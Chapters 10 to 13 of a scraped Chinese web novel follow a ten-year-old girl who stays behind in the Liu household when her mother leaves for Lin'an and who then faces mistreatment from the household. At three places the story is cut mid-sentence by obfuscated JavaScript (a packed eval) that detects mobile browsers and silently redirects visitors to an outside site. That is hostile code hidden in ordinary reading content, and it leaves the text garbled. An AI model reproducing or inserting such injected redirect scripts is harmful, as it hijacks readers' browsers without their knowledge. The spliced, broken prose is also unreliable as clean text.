柳同勋看着好似骤然衰老的母亲,泛起一瞬间的愧疚与同情,可随即想到自己在她身边被强压了三十余年,大到娶妻生子,小到日常每一件琐事都由母亲控制决定,心中又冷硬起来,不以为然道:“我二弟这些年也接手了不少家中的生意,他现如今已可以独当一面。” 柳老夫人闭眼缓和了会儿,道:“可他毕竟不是我亲生的,交给他我如何放心?” “母亲怎么能这般揣度二弟?”柳同勋为柳泽盛这些年的努力鸣不平,“二弟这些年来战战兢兢,生意上从未出过差错,况且他敬重母亲,不曾忤逆,母亲这样说,二弟若听到了恐怕会寒心。” 柳老夫人面朝帐顶,深深地吐了一口长气,缓过心悸之感。 “那章哥儿怎么办?你还记得这个儿子吗?” “他?”柳同勋道:“他向来独立要强,身边那么多下人围着打转,不需我再插手。” 柳老夫人真想坐起来斥骂他几句。 可她实在没力气。 如今她是真切感到自身的衰老了。 精气神都在缓慢抽离。 可又觉得不甘。 那女人先是做小伏低,勾得柳同勋硬要将她娶进门。 进了柳家后又一味地演戏扮柔弱装可怜,惹得她大儿与她母子离心。 如今那女人又蛊惑了柳同勋去,不知给他灌了什么迷魂汤,才让一向厌烦拘束的柳同勋花费心力地去纳粟捐官。 柳老夫人切齿痛恨,怎么容忍让颜镜棠如此得意。 她用强硬的口吻向大儿提了唯一的要求: “你可以走,带着那蹄子远远的。” “但那女孩得留下。” “她当然得表个态,若不然你们远在临安,那蹄子临时起意将你害死了,卷走了你的钱财,柳家鞭长莫及,又要去哪里找她?” “我不会苛待那孩子,对她便如对章哥儿一般。” 柳同勋带着这番话回去,如实转告给颜镜棠。 不等颜镜棠惊颤开口,他已斩钉截铁道:“镜娘你放心,我不会答应这种条件的,我心里头将柔徽视作亲生女儿,咱们一家人当然要一起走,这没什么可商量的!” 十岁的女儿当然要待在娘亲身边。 这对于颜镜棠来说,也是绝无退步可能的。 柳同勋夹在这两个女人中间,依然有这份自信能处理好一切。 直到他雇佣到临安的船队忽然退了订金,婉拒了他。 他只好再次尝试寻找车队,可那些人一听他的身份便纷纷摆手拒绝。 柳同勋原本为了避免这个情况,才没找自家的车队。 却不想柳老夫人的手依然能伸这么长。 堂堂的县丞老爷,远赴外地上任,总不能自己赶着马车去吧。 他又算了时间,发现就算马上租赁到合适的车队,待谈拢了价钱,做好准备,路上休整时间压缩到最短,赶到临安满打满算也需要半个月的时间。 他快来不及了。 眼看着到任的期限一日□□近。 柳同勋慌了。 无法,他求到柳老夫人面前,“我若到期无故不赴任,不单单是罚俸那么简单,晚一天到就是二十大板,最多八十大板,那可是要人命的玩意儿,母亲真忍心看到儿子被打得半身残废吗?” 柳老夫人轻飘飘一句话便将他顶回去,“真残废了也有那个女人在身边伺候着你,何需我操心?” 柳同勋求情无果,放下狠话,“那儿子便自己赶车去临安,路上无论是被匪徒劫去还是运道不好遭了天灾死于非命,儿子都认了,只是还请母亲到时派人为儿子收尸!” 他大踏步地走出房间。 王妈妈算是看着大爷长大的,一时间慌乱地看向老夫人,难道做母亲的真有这般狠心看着儿子去送死? 可柳老夫人岿然不动,低头品茶。 外头消失了良久的脚步声又骤然响起。 帘子被掀起,柳同勋侧身贴着门框,低声道:“我去说服镜娘将女儿留下。” 答应了的事转眼又被推翻。 柳同勋不愿做言而不信的小人,可这不是实在没办法了吗。 老太太犟起来九头牛都拉不回来。 柳同勋耐心地为颜镜棠解释,央着她,“咱们顶多离开两三年,又不是永远留在那了,到时我上下运作,再做出些功绩,很快就能调回涁州了。” 颜镜棠抬眸,粉面清泪,“柔徽才十岁,我怎么能将她独自丢下。” “你看柳府这么多下人,又有玉茉时时陪着她,怎么会让柔徽受委屈,老太太都发话了,也不会跟个小丫头过不去,再说了,还有我那弟媳帮忙照看,她是个热心肠,自己又有女儿,肯定将柔徽养护得白白胖胖。” 柳同勋说得口干舌燥,可颜镜棠却默默地摇了摇头。 柳同勋急火攻心,语气转冷,“难道就因为这种小事耽搁了我到任,镜娘就忍心看我受杖刑?” “不是的。”颜镜棠抿着唇想了会儿,艰难道:“大爷不必管我们娘俩,尽快乘车赶路吧。” “镜娘这是什么意思?”柳同勋脸上慢慢地浮起不悦,“你也学老夫人那般来威胁我吗?我已经心力交瘁了,上下应付着,镜娘你……你一向体贴我,怎么今日就不能妥协一回了?” “成婚那日我们说好白首不相离,镜娘你放不下女儿,难道就舍得我吗?” 柳同勋软磨硬泡,哪想到往日一向柔顺于他的颜镜棠意外坚定。 他实在无法,起身甩下一句,“事关柔徽的去留,你总得听听柔徽自己的意见吧?” 软帘在空中晃了两下,外屋的门“砰”一声合拢。 晚膳前,玉茉给谢柔徽洗脸绑发辫,提了一嘴道:“待会儿姑娘去了正房,千万别提何时去临安的事,小心看着大爷脸色,最好安静吃饭。” 谢柔徽抻下干帕子擦脸,问她:“出了什么事吗?” 正房里今日气压低迷,大爷和夫人闹得不愉快,但具体发生了什么,她们做丫鬟的却不太清楚。 玉茉接过帕子在水盆中投洗,头也不抬道:“姑娘听奴婢说的准没错,反正少掺和大爷的事为妙,待会吃完饭就跟奴婢尽快回来。” 谢柔徽说个好,和玉茉前后脚进屋时果然感受四周莫名的沉窒感。 柳同勋箕坐于正首位置,脸色不大好看,眉间紧蹙了两条褶皱,见她进来时明显没有往常热情。 而颜镜棠才从内间出来,刚洗过脸似的,鬓发湿哒哒地贴在面上,眼尾殷红。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815750|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>三人沉默落座。 谢柔徽捧着碗,却没办法沉下心吃饭,悄悄地睨着另外两人的反应。 直到柳同勋忽然撂下筷子,笑眯眯地看向她这处。 谢柔徽心中“咯噔”一下。 果然,柳同勋冷不丁地问她:“柔徽,你这些天适应得可好吗?” 谢柔徽先将余光瞥向颜镜棠,只看她攥着筷子的纤细手指用力得发紧。 谢柔徽收回目光,对柳同勋回了一个笑,“我这里住得好,吃得饱,睡得香,适应得特别特别好,谢谢柳叔叔关心我。” 柳同勋的笑意加深了些。 谢柔徽虽不知他是揣着什么心思,却注意到他忽然向颜镜棠的方向侧了侧身子,可颜镜棠却未理睬他,仍在专心致志地择鱼刺。 柳同勋再次问她,“家里的哥哥姐姐们对你好不好?” 这一次谢柔徽思考的时间长了些。 柳显章与她并无交集,偶尔几次碰面只是将她视作客人一般的存在,礼貌有余,亲近不足,自然也谈不上好不好。 而二房的柳奕昌和柳如施兄妹俩,一个老实厚道,一个清高孤傲,只有每日同乘一座马车去书院时见一面,不过是点头之交。 而那柳娥娇倒是来找过她几次,蹴鞠、放纸鸢、捏泥人,玩到最后非争个高低不可,攀比之心太重。 而且有一回她玩累了,满头热汗,谢柔徽好心让她上屋子里喝水休息,结果她却毫不客气地闯进了寝室,意外地看到了那张奢丽的拔步床。 柳娥娇嘬腮碾牙,“大伯对你真好啊。” 她回去后就很柳泽盛闹了一通,吵着也要这种又大又神气的小房子般的床。 柳泽盛被她吵得心烦,胡乱搪塞了过去。 柳娥娇心意没达成,赌气也不再往这个院子里来了。 谢柔徽沉吟片刻,抬头迎上柳同勋的笑脸,违心道:“哥哥姐姐们待我特别亲切,时常带着我一起玩呢!” “那你可愿意——” “大爷。”颜镜棠忽然抬箸将择好刺的鱼肉放入柳同勋碗中,柔柔劝道:“尝尝这鱼,凉了便不好吃了。” 柳同勋动筷将鱼肉放入口中咀嚼。 颜镜棠目光盈盈地看着他,眼神中带着恳求。 柳同勋咽下口中的物,毫不迟疑地再度看向谢柔徽,打定了主意般一定要问出那句话。 两人之间暗流涌动,谢柔徽又怎会看不出来问题。 再结合玉茉好心劝告她千万别问去临安一事。 她已能猜出大概。 恐怕,临安一行已将她除名了。 柳同勋前两个问题已十分明朗。 分明在为让她留在柳府做铺垫。 而颜镜棠似是与他意见相左,想要劝阻。 就目前的形势来看,颜镜棠的态度如何根本无足轻重。 谢柔徽在桌下牵住了颜镜棠的衣角,脸颊挂上了甜甜的笑, “柳叔叔到底想问什么嘛?” 既然反对无效,不如坦然接受。 柳同勋笑道:“有一件事我想听听你的想法,我和你娘亲要离开一段时间,就是去上次与你说的地方,只是山高水远,少说也要在马车上颠簸十天八天,实在无趣得很,而且啊,路上还有凶神恶煞的匪徒,实在不安全,所以……” 还未等他说出劝谢柔徽留下的那句话。 底下一个小小的声音已提前冒了出来。 “那柳叔叔,我可不可以不去了?” 11. 第 11 章 柳同勋愣了一下,惊喜之情不胜言表,恨不得将她抱起来夸奖,“柔徽真是个乖巧懂事的好孩子,已经学会不给大人添麻烦了,那柔徽你就在家乖乖的,待我和你娘亲回来给你带好多好吃的和好玩的。” 颜镜棠撂下筷子,刚要开口,衣角却被一股小小的力量牵住了。 年幼的女儿向她挤了挤眼睛,“好啦,娘亲不要再将女儿当成小孩子啦,我已经长大了!” 颜镜棠感觉眼睛有些发热。 柳同勋顺着她的话道:“是啊,柔徽说的没错,她已经是个大姑娘了,不能一直躲在你的羽翼下,她也应学会独立自主了,难道等她日后嫁人了,你也一直陪着她到婆家去吗?” 柳同勋将筷子重新递到她手边,发出示好的信号。 颜镜棠却没有接。 柳同勋顿时有些尴尬,坐回去用力咳嗽了两声。 晚膳撤了后,颜镜棠到了东厢房,先遣玉茉出去,似是要与女儿独处。 谢柔徽在母亲面前不必恭恭敬敬的,脱了鞋子舒服地窝在软榻上吃切好的甜瓜。 身畔软垫微微凹陷,颜镜棠坐下,看着年岁尚且稚嫩的女儿,“柳叔叔在饭桌上说的那些话你可以不听的,你若不愿意独自留下,我也不走了。” 原来她以为女儿是察言观色,害怕惹柳同勋不高兴才爽快答应的。 毕竟,哪个女儿不愿意留在母亲身边呢。 谢柔徽虽不是她真正的女儿,可看到颜镜棠在细微之处的关爱,依然十分感动。 不过感动归感动,她们不得不面对一个现实。 谢柔徽抱着圆溜溜的引枕,问她, “柳叔叔若走了,那咱们也要搬出柳府了吧?” 柳家老夫人怎么能容忍她们母女俩继续生活在眼皮底下。 柳同勋在时,她尚且手段毒辣,一碗汤药断了颜镜棠日后的生育可能。 若是柳同勋走了,她还不得更加肆无忌惮,真要施展什么手段来对付她们,她们便要陷入叫天天不应,叫地地不灵的不堪境地。 谢柔徽看似童言无忌的一句话,却切实地点出了她们二人所面临的困境。 颜镜棠沉默了很长时间,“我们搬回东巷。” 不战自败,落水狗般灰溜溜地搬回东巷。 谢柔徽不愿选那条路。 那冬日里四面透风,冷得沁骨,夏天蒸笼般动辄潮湿发霉的小瓦房。 所有的人,无论男人还是女人,都以最大的恶意来揣测她们,对待她们。 她如何甘心情愿做颜镜棠的负担? “娘亲,你放心跟着柳叔叔去临安吧。”谢柔徽趴在颜镜棠的肩头,指尖滑过那柔软细腻的绸缎衣裳,这是她们搬入柳府前无论如何也不敢肖想的待遇,“柳府这么大,难道还容不下我一个小孩子吗?而且柳叔叔也说了,你们去一年半载也就回来了,中间有什么事,我就去找那个笑起来很和善的庞姨。” 在谢柔徽的反复劝说下,颜镜棠终于同意女儿自己留在柳家,只是忍不住一而再再而三地叮嘱,最后教她,“若受了委屈无人能说,便拜托庞姨捎信给我,我一定及时赶回来。” 不出三日,柳老夫人准备好了去临安的车队和亲随,但没有出门相送。 柳同勋在出发前免不得和二弟提醒生意上的琐事,两个人站在车前说起来便没完没了。 庞氏自觉避嫌,带着两个儿女为颜镜棠送行。 柳如施像足了那些大家闺秀的做派,行事不急不躁,徐徐福了福身,说了些吉利话。 而一旁的柳奕昌听到妹妹流利说出那么一大段话时表情明显惊愕了许多,在一圈人的直视下,搜肠刮肚,只憋出一句一路顺风。 庞氏在背后捏了捏儿子的后颈。 柳奕昌纳罕回头,“母亲掐我做什么?” 庞氏脸上的笑顿时有些挂不住了。 颜镜棠走到女儿身边,矮身用力抱住了她。 谢柔徽感觉到肩侧的衣料渐渐濡湿。 颜镜棠艰难抬头,对谢柔徽身后侍立着的玉茉道:“我的女儿交给你了。” 玉茉恭谨道:“奴婢一定尽心竭力照顾好姑娘。” 领队眼看到了吉时,不得不过去提醒柳同勋。 柳同勋和颜镜棠先后登车,冗长的车队缓缓启动。 谢柔徽跟着马车走了几步,对着探出窗外的人依依不舍地摆手。 待车队最后的几匹骏马消失在视野外,谢柔徽伸手扇去盘旋于空中的飞尘,跟着玉茉转身回府。 院中支了一把躺椅,还在微微摇晃。 旁边的小桌上倒扣着一本书,书旁还摆着茶水和点心。 应该是刚才有人在树下看书。 这个院子除了柳显章,没人有这个闲情逸致。 可柳显章不是托病不出,避开了送行吗? 谢柔徽望向西厢房的位置。 果然是在撒谎啊。 柳显章此人冷情冷性,待自己的生身父亲也没什么牵挂。 谢柔徽正要收回目光,忽然门响,走出来一人收拾桌面。 正是柳显章的小厮东纨。 东纨看到她们回来,打了个招呼,但脸上表情却有些复杂。 谢柔徽不懂他为何会露出那般同情的目光。 直到她走回一直在住的东厢房。 往常空空荡荡的东厢房内挤满了人。 为首的正是柳老夫人面前的红人王妈妈。 王妈妈扬声指挥那帮下人将谢柔徽的行李归置起来,一扭脸看到带着孩子回来的玉茉。 玉茉畏惧于王妈妈的淫威,敢怒不敢言,默默往后退了一步。 谢柔徽孤立无援地与王妈妈对视。 王妈妈自然不将这个十岁的女孩放在眼里,肃声宣布道:“老夫人说了,既然长辈们都不在,哥姐儿也都大了,就不便住在同一个院子里了,不管从前在外头怎么样,到了柳府就得守柳府的规矩,委屈谢小姑娘暂时搬到枕竹居吧。” 丫鬟们也无心正经收拾,管什么东西都胡乱塞进几个包袱里,再由小厮们背着出去。 谢柔徽被其中一名小厮蹭了肩膀,趔趄地向旁歪去,幸好玉茉手急眼快扶了她一把。 谢柔徽又惊又怒地瞪着这些人。 可她们的幕后主使却是柳老夫人,依旧我行我素,并不畏惧于她。 谢柔徽压抑着心中怒火,垂下眼帘,给这些人让开去路。 王妈妈领着人趾高气昂地走了,到院子时和东纨聊了几句,语气比之刚才可要柔和了不少,听他们说的似是关于柳显章的学业。 柳同勋和颜镜棠刚一走,柳老夫人就迫不及待地将她放到什么鸟不拉屎的地界。 可是担心她带坏自家的亲亲乖孙? 等人都走净了,玉茉开始动手收拾,将被翻乱的被褥归位,又扣上了几个垂在外头的抽屉,待将一切拾掇利落了,撸下袖子来牵谢柔徽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若是旁的真正孩童,万万不敢独自居住的。 不过,谢柔徽此时只担心这屋子太久没人居住,冷不丁冒出个长蛇或者老鼠。 她让玉茉天亮了后去要来些驱虫的药粉撒在屋子角落。 玉茉答应下来,抱着行李出去。 她们没来时,那婆子和丫鬟各占了一间耳房。 玉茉收拾东西时发现左手边的耳房更宽阔些,那长炕睡下三个人也绰绰有余,便打定主意朝那间屋子走过去。 谁知她推门却没推动,抬手轻敲了两下。 里面却骤然响起鼾声,显然是在装睡。 背后有人轻轻戳了戳她的肩膀。 玉茉回头。 白日里和她一起收拾的梳儿站在面前,穿着素色里衣,应是听到此处动静才从床上爬下来的。 梳儿指了指紧闭的房门,“她有锁门的习惯,睡得又熟,你在这敲一晚上她也不会开的。” 玉茉挑了挑眉。 她明明那会儿还听到这婆子进进出出倒水的声音。 怎么不到一盏茶的功夫就睡下了。 小丫鬟看她脸上有怒色,从中劝和道:“你先搬到我那屋去住吧。” 既然叫不醒一个装睡的人,也只好另寻住处了。 12. 第 12 章 玉茉抱着包袱跟梳儿一进房,顿时有些后悔。 她本想着两件耳房对称,装潢应也差不多才是,谁知梳儿这间房小了一倍不止,也没通热炕,只有一张孤零零的木板床立在墙角,被褥单薄,而且那被单看起来十分陈旧,已然被洗得发白了。 梳儿看着玉茉面露挑剔,顿时有些窘迫,手脚也不知放在哪,只站在那缺了一条腿的盆架前。 不过玉茉并未说出令她难堪的话,将行李放下,扯出薄被和枕头。 梳儿见状忙跑到床前,将自己的东西使劲向内推了推,给玉茉留出大半空间。 两人都不胖,躺下后也不显拥挤,那梳儿为人老实,特意贴着墙睡,委屈了自己。 玉茉扑哧笑了声,在黑暗中道:“你是属壁虎的吗?” 梳儿的脸在夜色中悄悄地红了,磨磨蹭蹭地挪了一指的距离,半边身子还擦着墙面,还是玉茉伸手将她猛地一拉,“好了,别动了,睡吧,明天还要干活呢。” 第二天玉茉去正房发现谢柔徽有些没精打采的。 原来是谢柔徽睡不惯如今的架子床,腰也酸背也痛,特别是那床板还有一股搁置久了的霉味。 她临时起意,“玉茉姐姐,你叫几名小厮帮忙把我那张拔步床搬来可好?我早上大概估算了尺寸,这屋子正好能放得下。” 她可以吃的清淡,也可以住的偏僻。 可睡眠质量不能下降。 玉茉是柳同勋特意点给谢柔徽做贴身丫鬟的,她原先也是伺候柳同勋的,人缘不错,跟各个房里的下人也说得上话,叫了几名相熟的小厮,每个人给了些铜板做辛苦费,这事便定下来。 谢柔徽没想到不过片刻功夫玉茉就回来了。 她看向玉茉身后,疑惑道:“怎么没搬过来,是那些下人又愿帮忙了吗?” 玉茉摇摇头,欲言又止地劝她,“咱们花些钱让工匠们再做张新床好不好?” 谢柔徽若问起那拔步床,玉茉就有些吞吞吐吐的。 谢柔徽干脆拉着玉茉回去原先的院子。 东厢房内陈设俱在,与她们离去前没什么分别。 谢柔徽低头一瞧,却发现砖面上有几道歪七扭八的拖拽印记。 她沿着痕迹走进寝间,原摆放拔步床的位置空空荡荡,唯有砖面残留着几处压痕。 她回头,“玉茉姐姐,那床呢?” 玉茉见瞒不住了只好实话实说,“被二房的柳娥娇姑娘使唤人搬走了,就昨天咱们前脚刚走,她的人后脚就来搬了。” 她不想将此事闹大,也不想得罪二房的人,便又提出花钱请工匠定制张新床。 她应是知晓那拔步床价值千金,工期冗长,所以只说再定张新的架子床,她低头看了看小姑娘的脸色,温声道:“到时奴婢多铺几层床褥,再将被子和枕头熏得香香的,也不比那拔步床差多少。” 谢柔徽并不应声,玉茉伺候她有一段时间,知道她不像寻常孩子那般好糊弄好打发,一时有些惴惴,紧盯着她。 谢柔徽走到那片空地上,不知在想些什么,圆润白皙的小脸上没什么表情,只用鞋尖涂抹那些突兀的刮痕,忽然抬起头对她笑道:“既然柳娥娇姐姐将床搬走了,那咱们就再请她将床搬回来就好啦。” 她说完便请玉茉带路去二房。 玉茉秉持着息事宁人的原则一直劝她回去。 只可惜她的嘴皮子都要磨破了,谢柔徽也只会仰头天真地看着她道:“可是我真的好喜欢那张床,那可是柳叔叔送给我的礼物呢,要是柳叔叔还在府里,肯定会替我要回来那张床的。” 柳同勋若在时,二房的人肯定不敢动她们房里的东西。 柳同勋一走,柳老夫人又不喜她。 柳娥娇大概就是仗着无人能替谢柔徽主持公道才如此行事嚣张。 两人走到后与门前的下人一寒暄,这才得知柳泽盛和庞氏都不在。 这倒是有些出乎谢柔徽的衣料。 她原本是想找两位长辈主持公道的。 既然这二人不在,她索性去找柳娥娇面对面对峙。 却没想,半路上两人迎面遇上了柳泽盛的妾室画霜。 这是第二回碰面,第一次就在颜镜棠的接风宴上,这画霜和柳泽盛并肩而行,好生神气,当时将正室庞氏都强压了一头,很久未见,谢柔徽花费了些时间才认出她来。 对方衣着光鲜,乌压压的黑发间插着不少发簪和金钗,胸前佩戴璎珞,两只白润的手腕上也串了两三个金镯,饰物太多反而喧宾夺主,给人一种将全部身家都招呼在身上的艳俗感。 这番做派,与素来勤俭持家的庞氏截然相反。 谢柔徽还未来得及开口,便听到对方用陌生的眼神看着她问道:“小姑娘找谁?这么横冲直撞的,好没家教。”显然是已忘了见过她。 玉茉上前介绍了谢柔徽的身份,对方扬起嘴角,露出一个似是而非的笑容,“哦~原来是谢小姑娘,你是来找娇儿玩的吗?” 谢柔徽未曾料到,那柳泽盛从来板着一张脸,既严肃又教条的模样,竟然会有这么轻浮的妾室。 如今柳泽盛和庞氏都不在府里,那这个院子里自然是姨奶奶当家。 画霜又是柳娥娇的亲生母亲,当然会帮护着自己女儿。 玉茉早已生了退意,在谢柔徽身后扯了扯她的衣角,轻声道:“就说来找二小姐玩吧,床的事改日再提。” 谢柔徽却没动。 方才下人说柳泽盛和庞氏外出办事,不知几日才归。 这件事若一日日地拖下去,她再去讨要,便成了旧事重提的小家子气。 那床必定也要易主了。 若退了这一步,便从此没了底线。 府里其余人本就以她年龄小为由有些怠慢,这下看到她被人踩到头上都不敢吱声,必定也要效仿。 那群下人最是见风使舵的。 所以,她现在不能退。 她是见惯了那总是喜欢退一步的颜镜棠如何遭人欺凌的。 玉茉见谢柔徽执意不肯走,于是也压着惧意陪伴在主子身边。 谢柔徽笑着对画霜道:“我确实是来找娥娇姐姐的。” 画霜翘着唇角,“娇儿现在不得空呢,你下回再来找她玩吧。” 玉茉牵起谢柔徽的手想走,谢柔徽却猛地抽回手,玉茉将心提起来,果然听到那脆生生的带着童真的嗓音道:“我不是来找娥娇姐姐玩的,我昨日搬去枕竹居住,走得太急,忘了搬走我的拔步床了,今天去看发现那床竟平白无故地不见了,四处问了一通才知道是娥娇姐姐自作主张搬走了,想着其中应该有隐情,便想来找娥娇姐姐亲口问一问,再将床搬回去。” 画霜不以为意,慢悠悠道:“我当是什么好东西呢!原来就是一张床,这样吧,那床呢既然已经搬来了,就先让娇儿用上几天,这搬来搬去的也费劲,等她用腻了我就让她还给你。” 这小妾的脸皮竟这样厚,与一个小孩子耍无赖。 谢柔徽却不吃她这一套,鼓起双腮,认真道:“不可以的,那张拔步床是柳叔叔提前许久找工匠专为我赶制的,是庆贺我搬来柳府住的礼物,怎么能给了别人呢?而且柳叔叔常教育我说,不问自取视为偷,跟我再三叮嘱,别人的东西再好也是别的人,千万别动歪心思!” “你这话是什么意思?”画霜再也维持不住笑,被个十岁孩童讥讽得面红耳赤,但又不好将她如何,只能朝着玉茉撒气道:“看好你家主子,跑到别人院里来撒野了!” 画霜转身便要走,谢柔徽却在后面叫住她,“姨娘不愿还,那我只好等柳二叔和庞姨回来替我做主了。” 画霜果然转身,说话带着咬牙切齿的劲,“你喊什么喊?什么金贵东西似的,你不嫌丢人我还嫌,在这等着!” 玉茉嗔目结舌地看着两人交锋,半晌没合拢嘴,最后对谢柔徽露出一个佩服的表情。 谢柔徽看那小妾不像守信的人,跟着她走进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815752|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院子,就守在屋门外。 因离得近,屋内的动静都清晰地传了出来。 画霜拉不下颜面,低声说了什么,大概也是让柳娥娇争气将东西还回去。 可不多时,里面却响起少女高昂的尖叫声,执拗呐喊:“不还!不还!那是我的!她喜欢告状就让她去好了,反正爹肯定向着我!” 小妾又说了什么,似是提到了庞氏二字。 柳娥娇哭哭啼啼地摔门出来,与她撞了面对面,想到什么又狠推她一把,憋着眼泪刻意道:“乡下人睡过的床,又脏又臭,上面都是臭虫,我——才——不——稀——罕!” 谢柔徽默不作声地看着她,突然提醒道:“你吹出鼻涕泡了。” 柳娥娇怔了一下,手里没手帕,下意识抬起袖子,硬生生截住动作,捂着嘴便跑开了。 谢柔徽转身对玉茉道:“玉茉姐姐可以让下人来搬床了。” 当天那拔步床便如愿地搬了过去。 只是那床如同一座小房子,重量不轻,雕工精琢细腻,运输过程难免吃力,又来回搬运了数次。 漆面有了好几处的磨损,镂空雕琢的花纹被磕碰了一处小豁口。 可把谢柔徽心疼坏了,来来回回检查了几遍,也不知能不能修缮成原貌,心中更加厌恶那个蛮不讲理的柳娥娇。 夜里,她换了又香又软的新被褥,睡在自己的拔步床里,将帐幔拉得严严实实,在熟悉的环境中睡了搬来此院第一个安稳的觉。 第二天院里的鸡鸣三声,过了会儿,玉茉一边编着头发一边走进来,轻声将她唤醒。 因要乘坐二房的马车一同去书院,所以她不能起得太晚。 婆子偷懒,既没在灶里堆放柴火,也没提前烧水。 若现起灶烧火就太浪费时间。 玉茉早就对那婆子不满,看她这会儿还在房里睡着,当即就要去砸门叫醒她。 谢柔徽拦住她,“麻烦玉茉姐姐直接打井水来用吧。” 现在是早秋时节,井挖的深,井水初时提上来都寒浸浸的,往往都烧热了才能用。 不过现在也是无奈之举了。 好在院里的小水井离得近,水质也清透,直接用除了冷些也没其他毛病。 玉茉觉得委屈了谢柔徽,走到水井旁,伸手去熟悉的位置拿水桶,这一下竟捞了空。 仔细一瞧,那水桶不知何时被人弄掉进了水井里,一直没打捞上来。 水桶正面朝上,浮浮沉沉的。 谢柔徽见她迟迟未归,疑惑地走出来看到这一幕,亦是觉得今日霉运当头。 “是那婆子!她昨天最后打的水!”玉茉扶着井边叫道,大有与那婆子大干一场的劲头。 谢柔徽找来一截绳子,动手绑了铁钩递给玉茉。 玉茉将绳子放进井里,手忙脚乱地左右晃铁钩,试图钩上水桶的扶手。 只是此事太依赖技巧,玉茉尝试了几次都没成功,整个上本身都几乎扎入了井里。 谢柔徽从后面抱住她的腰,力往下沉,“玉茉姐姐我来扶你,你小心些,千万别勉强,实在捞不上来就算了。” 那一头的玉茉本就因脑袋空悬而血液上涌,在将要放弃时被人用力抱住,当即喊了一嗓子,手里的绳子猛地一甩,铁钩恰好钩住了水桶。 水桶取上来后,两人几乎要热泪盈眶了,只差抱成一团庆祝一番。 谢柔徽瞄到发白的天际,“玉茉姐姐先打水给我洗漱罢。” 玉茉回过神,忙摇动辘轳,先打一桶水提到屋内。 谢柔徽强忍着冷意洗了脸和手,又仔细揩了牙,用盐水漱口。 因为赶时间,玉茉只给她梳了个简单的发髻,然后匆匆忙忙地将她领去汇合的地方。 两人路上紧赶慢赶还是来晚了。 骏马喷着响鼻,似是等待时间太长,有些焦躁。 柳奕昌和柳如施应早已在车上。 也不知他们会不会怪罪她。 13. 第 13 章 谢柔徽蹭了别人的车去书院还迟到,本就有些惭愧,在上车前就想好了说辞,踩着脚凳又让玉茉从身后托了一把上去,掀开车帘,刚要脱口而出的话却卡在了喉咙里。 柳娥娇竟在车上! “哟!怎么才来啊!睡懒觉起晚了吧,倒让一车人等你一人!小小年纪怎么就这么坏呀?” 谢柔徽看着阴阳怪气讥讽的柳娥娇,最初有些懵懂从不上书院的她为何在这辆马车上,可注意到她霸占了自己往常的位置,顿时明白柳娥娇这是来报复了。 仅仅是因为她讨回了本该属于自己的东西,却被柳娥娇记恨上了,竟特意追到马车上来堵她。 “早上出了意外,所以来晚了,不是有意让哥哥姐姐们等我一人的。”谢柔徽看着柳如施和柳奕昌说了这句话,上了马车转向柳娥娇,“娥娇姐姐占了我的位置,麻烦让一让。” 柳娥娇却露出个吃了苍蝇般的表情,“谁允许你叫我姐姐了?恶心!你姓谢不姓柳!谁跟你有关系……”余下难听的话她在嘴里咕哝了一遍,没说太清,见谢柔徽还一直盯着自己,嚣张道:“你看什么看,这位置本来就是我的!不信你问奕昌哥哥!” 谢柔徽才不要去问,直接伸手从座位底下抽出一本书,上面正写着自己的大名,“喏!你看,我的东西都在这,这当然是我的座位。” “嘁!什么破烂东西。”柳娥娇瞄了一眼那书,表情有些复杂,抬高了下巴,“怎么能证明这是你的书?” 谢柔徽又将书上写着字的一面在她眼前晃了晃,确定她看到那字无误。 可柳娥娇仍叫嚣着:“证明不了吧?这书也是我的,你赶紧滚下去。” 谢柔徽垂下手,有些无奈,她跟个大字不识的文盲争个什么,扭过身子寻了个空位就要坐下。 柳娥娇却猛地跳起来拉扯她,“不许你坐我家的马车!” 她比柳娥娇小了几岁,力气也小,这下又毫无防备,被柳娥娇一下扥倒在地上,掌心戳到了尖锐之物,痛彻心扉。 小主子打架,车内的丫鬟不敢管。 谢柔徽捧着手,一时没站起来,只听到头顶柳娥娇嚣张的大笑。 “快滚下去!别脏了我家的马车!” 谢柔徽看向知书达理的柳如施,她作为柳娥娇的嫡姐,若发话也能镇住这个妹妹。 可柳如施十分嫌弃地看了看这处,对谢柔徽道:“还请谢小妹妹尽快下车吧,若因你们二人争执而耽误了时辰,还要连累我们被夫子责骂。 此番话瞬间助长了柳娥娇的气焰,掐住腰叫道:“听见没有,我们不欢迎你!” 谢柔徽不可置信地盯着柳如施。 那柳如施前些时日分明对她客气守礼,怎么如今突然变得如此冷漠? 反倒是一旁的柳奕昌看不过去,本想为她说两句话,可扫了眼自家的姐妹,还是将话咽了回去,换了副口吻道:“你今天先回去吧,你瞧你手肿得厉害,回去让丫鬟包扎了,伤好了再和我们一起去书院。” 谢柔徽最终还是下了马车,柳家二房的子女统一战线排斥她。 继续留下去,她顶多声嘶力竭地与他们吵上几句,解决不了任何问题。 